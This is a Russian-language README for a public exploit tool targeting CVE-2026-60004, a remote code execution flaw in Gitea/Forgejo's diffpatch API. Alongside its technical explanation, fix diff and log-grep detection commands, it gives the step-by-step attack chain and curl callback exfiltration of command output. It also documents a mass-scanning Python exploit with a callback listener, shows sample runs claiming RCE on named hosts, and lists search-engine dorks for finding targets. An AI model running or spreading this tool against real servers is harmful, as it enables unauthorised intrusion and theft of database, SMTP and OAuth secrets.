
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Голый клон → внедрение хука post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 — критическая (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в самохостинговых Git-платформах Gitea и Forgejo, затрагивающая версии с 1.17 по 1.27.0.
Уязвимость использует ошибку проектирования bare-клонирования в конечной точке API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea применяет предоставленные пользователем патчи внутри временного bare-клона, где корень репозитория — это сам $GIT_DIR. Отправляя один и тот же вредоносный патч дважды, злоумышленник вызывает конфликт add/add, из-за которого механизм трёхстороннего слияния Git (-3, Git 2.32+) записывает исполняемый хук post-index-change прямо в $GIT_DIR/hooks/. Git автоматически выполняет этот хук при обновлении индекса, что приводит к выполнению произвольных команд под учётной записью службы Gitea.
Требуется доступ на запись в репозиторий — его тривиально получить, поскольку по умолчанию Gitea использует открытую регистрацию без подтверждения email, одобрения администратора или ограничений на создание репозиториев.
| Версия | Статус |
|---|---|
| < 1.17 | Не затронута (маршрут diffpatch ещё не введён) |
| 1.17 — 1.27.0 | Уязвима |
| 1.27.1+ | Исправлена |
Обнаружил: Shai Rod (NightRang3r), 28 июля 2026 г. Проект: Gitea / Forgejo (самохостинговый Git-сервис) Компонент: конечная точка API diffpatch, временный bare-клон
Уязвимость возникает из-за единственного параметра в файле services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
В bare-клоне нет рабочего дерева — корень репозитория и есть $GIT_DIR. Поэтому вредоносный патч, путь файла которого — hooks/post-index-change, попадает прямо в настоящий каталог хуков Git, а не в изолированное рабочее дерево.
Усугубляет это вызов git apply:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, поэтому путь hooks/post-index-change ведёт в настоящий каталог хуков.--cached не является надёжной защитой — резервный механизм трёхстороннего слияния -3 в Git 2.32+ записывает результаты слияния в рабочее дерево при конфликтах add/add, несмотря на флаг --cached.post-index-change — после обновления индекса Git безусловно запускает этот хук, если он существует и является исполняемым. Никакой настройки не требуется.git update-index внутри хука приводит к взаимоблокировке, поскольку git apply удерживает блокировку индекса. Для кражи вывода используйте HTTP-callback (curl) или reverse-shell.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
Разница между bare- и обычным клоном — единственный булев параметр — определяет, станет ли путь из патча безвредной записью рабочего дерева или исполняемым хуком, попадающим прямо во внутренний каталог Git. Исправление меняет ровно один символ в диффе (true → false), поэтому коммит был помечен как "refactor: git patch apply" в разделе MISC, а не SECURITY. Операция, которая должна была быть изолирована в индексе (--cached), была молча сломана собственным механизмом трёхстороннего слияния Git, и никакая дополнительная защита не предотвращала создание файлов хуков в $GIT_DIR bare-клона.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
Успешная эксплуатация даёт удалённое выполнение кода под учётной записью службы Gitea:
app.ini — учётные данные БД, SMTP-секреты, ключи OAuth-приложений, LFS/JWT-секретыУчётная запись на инстансе не требуется — регистрация открыта по умолчанию.
Gitea исправила уязвимость в версии 1.27.1 (коммит 470d34b):
$GIT_DIR/hooks/--index могут при определённых условиях взаимодействовать с рабочим деревомTestGitPatchPrepare), который проверяет, что временный клон не является bare, по наличию подкаталога .git- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
Исправление попало в примечания к выпуску 1.27.1 в раздел MISC как
"refactor: git patch apply", а не в раздел SECURITY, поэтому администраторы, просматривающие только записи журнала изменений, связанные с безопасностью, легко могут пропустить это критическое обновление. Тот же шаблон bare-клона вCherryPickтакже был исправлен.
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.
Не применяйте против систем без явного разрешения владельца. Авторы не несут ответственности за неправомерное использование.
| Ресурс | Ссылка |
|---|
Обнаружено Shai Rod (NightRang3r). Не связано с Gitea или Forgejo.
| Файл | Строка(и) | Назначение |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — создание bare-клона |
services/repository/files/patch.go | 206-209 | git apply с флагами --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — сохраняет состояние злоумышленника |
services/repository/files/cherry_pick.go | ~170 | Тот же шаблон bare-клона в CherryPick (также исправлено) |
| Коммит с исправлением Gitea | 470d34b |
| Исследователь | NightRang3r |
| CWE-94 | Внедрение кода |
| Хук Git | post-index-change |